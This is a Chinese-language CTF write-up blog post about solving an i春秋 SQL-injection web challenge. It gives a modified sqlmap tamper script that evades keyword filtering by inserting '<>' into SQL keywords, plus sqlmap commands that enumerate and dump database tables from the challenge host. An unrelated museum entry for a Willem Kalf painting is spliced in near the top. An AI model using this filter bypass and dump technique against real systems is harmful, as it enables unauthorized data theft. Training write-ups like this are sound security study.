CTF竞赛-SQL注入

本文为CTF web网络攻防方向,主要记录SQL注入的一道题

Posted by Yewbs on April 13, 2018

Title: Wineglass and a Bowl of Fruit
Creator: Willem Kalf (Dutch, 1619–1693)
Date Created: 1663
Physical Dimensions: Framed: 81 x 70.5 x 7.5 cm (31 7/8 x 27 3/4 x 2 15/16 in.); Unframed: 60.3 x 50.2 cm (23 3/4 x 19 3/4 in.)
Type: Painting
Medium: oil on canvas
Inscriptions: Signed and dated lower left: “W. KALF 1663”
Fun Fact: Willem Kalf was the most accomplished proponent of the pronkstilleven, a Dutch term meaning “ostentatious still life.”
Department: European Painting and Sculpture
Culture: Netherlands, 17th century

CTF竞赛题目类型主要包含 Web 网络攻防Reverse 逆向工程Pwn 二进制漏洞利用Crypto 密码攻击Mobile 移动安全 以及 Misc 安全杂项 这六个类别。

本文为web网络攻防方向。

赛题

初始来源

#“百度杯”CTF比赛# #九月场# #SQL#

赛题传送门

i春秋CTF大本营

【赛题类型】—>【CTF训练】

【比赛名称】—>【全部】

【题目类型】—>【Web】

选择价值 50pt,类型为 Web,名称为【SQL】的题目:

ctf-20180413211837458

解题过程

题目内容:

出题人就告诉你这是个注入,有种别走!

题目很嚣张,进入靶场环境后,也很直接,告诉你flag就在数据库中。习惯性打开F12,调出HackBar:

ctf-20180413212033452

  • 先一顿手工注入测试,基本上出现下面三种回显:

    1)明说是注入代码

    ctf-20180413212311861

    2)空白

    ctf-20180413212415559

    3)有效回显

    ctf-20180413212510702

  • 时间过去了一大半,终于探测出来了个大概:

    • select、and、or、order等关键词会被检测直接标记inj code
    • <>会被替换为空
    • union联合查询输出长度为3
  • 下面开始祭出sqlmap大法,当然需要会使用基本的sqlmap语法,网上教程请自行慢慢享用

    另外还需要会编写sqlmap tamper的一点点知识

    这里,我找了个sqlmap自带的escapequotes.py的过滤语法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    #!/usr/bin/env python
      
    """
    Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
      
    from lib.core.enums import PRIORITY
      
    __priority__ = PRIORITY.NORMAL
      
    def dependencies():
        pass
      
    def tamper(payload, **kwargs):
        """
        Slash escape single and double quotes (e.g. ' -> \')
      
        >>> tamper('1" AND SLEEP(5)#')
        '1\\\\" AND SLEEP(5)#'
        """
      
        return payload.replace("'", "\\'").replace('"', '\\"')
    

    然后在此基础上,修改为刚刚找出来的几个关键词过滤,保存为自己的mytam

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    #!/usr/bin/env python
      
    """
    Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
      
    from lib.core.enums import PRIORITY
      
    __priority__ = PRIORITY.NORMAL
      
    def dependencies():
        pass
      
    def tamper(payload, **kwargs):
        """
        Slash escape single and double quotes (e.g. ' -> \')
      
        >>> tamper('1" AND SLEEP(5)#')
        '1\\\\" AND SLEEP(5)#'
        """
      
        payload = payload.replace("SELECT", "SE<>LECT").replace('AND', 'AN<>D').replace("ORDER", "ORD<>ER")
        return payload
    

    重点就是替换了selectandorder三个关键词

  • 然后放到sqlmap里跑一跑:

    sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py

    ctf-20180413213455006

    因为我已经跑过一遍了,这里直接读取session拿到结果了,说明这里存在可以利用的sql漏洞

  • 接下来获取数据库和表:

    sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py --tables

    ctf-20180413213706267

    可以发现除了系统表以外,在sqli数据库里面存在两张表:info和users,大概率就在info表里了

  • 直接查info表里的所有信息:

    sqlmap -u "http://26dd0061fbe24d5ea27afa9403e9265c78eebd7d89ec452c.changame.ichunqiu.com/index.php?id=1" --tamper=./mytam.py -D sqli -T info --dump

    ctf-20180413213857446

至此,得到flag。

总结

这次题目主要针对sql注入,注意点有两个:

1、手工注入测试,找到过滤规则,这也是在实战中经常会需要绕过WAF的方法,多练就是了

2、sqlmap的熟练使用,会加快渗透测试流程。前提也是需要对sqlmap有一定的熟练程度